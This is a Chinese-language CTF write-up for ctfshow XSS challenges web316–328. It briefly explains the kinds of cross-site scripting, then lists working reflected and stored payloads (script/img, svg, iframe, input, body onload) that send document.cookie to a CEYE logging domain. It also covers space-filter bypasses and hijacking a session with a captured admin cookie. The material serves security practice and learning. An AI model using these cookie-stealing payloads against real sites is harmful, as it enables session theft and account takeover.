XSS漏洞
漏洞简介:
XSS(Cross Site Scripting)意为跨站脚本攻击。为了不与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。XSS漏洞是-种在Web应用中常见的安全漏洞,它允许用户将恶意代码植人Web页面,当其他用户访问此页面时,植人的恶意代码就会在其他用户的客户端中执行。
XSS漏洞的危害很多,可以通过XSS漏洞获取客户端用户的信息(例如用户登录的Cookie信息),可以通过XSS蠕虫进行信息传播,可以在客户端中植人木马,可以结合其他漏洞攻击服务器,在服务器中植人木马等。
XSS漏洞分类
XSS漏洞分为反射型XSS漏洞、存储型XSS漏洞和DOM型XSS漏洞3类
2022/4/7
反射性XSS
Web316
圣诞快乐,写下祝福语,生成链接,发送给朋友,可以领取十个鸡蛋!
CEYE - Monitor service for security testing
先在这个网站注册一个账号获得一个临时的域名
红框内的是临时的域名
然后在方框中输入:
<script>
var img=document.createElement("img"); img.src="http://你的ceye地址/"+document.cookie;
</script>
var img11=document.createElement("img");是生成一个img对象,然后 img11.src="http://你的ceye地址/"+document.cookie;,是加载加载一张图片加上当前的cookie这里我们填写的是接收平台的地址,所以会带上document.cookie去加载地址然后平台会有记录cookie的值ctf平台会有个虚拟机器人,充当admin的身份,每个一段时间点开网站它一点开就会加载payload,发送它自身的cookie在那个框内输入那个标签输进去,网站一加载就执行了我们输入的xss代码然后他自己会发送cookie
就会有flag
还有别的方法:
1.window.open:
<script>window.open('http://你的ceye地址/'+document.cookie)</script>
2.input
<input onfocus="window.open('http://你的ceye地址/'+document.cookie)" autofocus>
3.svg
<svg onload="window.open('http://你的ceye地址/'+document.cookie)">
3.iframe
<iframe onload="window.open('http://你的ceye地址/'+document.cookie)"></iframe>
4.body(后面用的都是这个!!)
<body onload="window.open('http://你的ceye地址/'+document.cookie)">
2022/4/10
Web317
反射性XSS 带过滤
先试一下web316的答案可不可行
结果没有反应。可能是过滤了<script>
我们用<body>试下
<body onload="window.open('http://你的ceye地址/'+document.cookie)">
注意要把网址改为你的ceye地址不要直接粘贴
成功了!
然后上自己的ceye网站查看flag
flag:
ctfshow{7ab994e4-19dd-410f-a619-9585a4f97843}
Web318
也是这个方法
然后我们再网站上查看flag
|
web319
同上方法
得到flag
ctfshow{95389d61-a4cd-4cfa-aba2-6187ee220783}
web320
试用了一下前面的<body>方法发现没有反应,然后发现这道题过滤了空格
一般空格被过滤有如下替换方法
1./**/
2./
这道题目我们用/**/试试
<body/**/onload="window.open('http://h9izlh.ceye.io/'+document.cookie)">
ctfshow{6d3fa3bf-2ee9-40bc-86b6-916dde5193d8}
web321
同上(同320)
ctfshow{6355bec1-2b90-49c5-a2ef-0fd18e71c0f5}
后面的方法也都同上
存储型XSS
web327
发件人填:admin
然后新的内容继续用我们的的body标签
<body onload="window.open('http://你的ceye地址/'+document.cookie)">
回到我们的ceye网站
得到flag
ctfshow{96721deb-033e-4d73-91b9-11370ada01d2}
Web328
随便注册一个用户名
密码为:
<script>window.open('http://你的ceye地址/'+document.cookie)</script>
用script标签(body好像不太行)
然后我们就可以得到管理员的Cookie
管理员Cookie为
88f8e03853ojfg3qrlfl1a4h3p
然后我们点击用户管理我们是什么都看不到的
然后按F12把这个页面的Cookie改成管理员的
然后就有了flag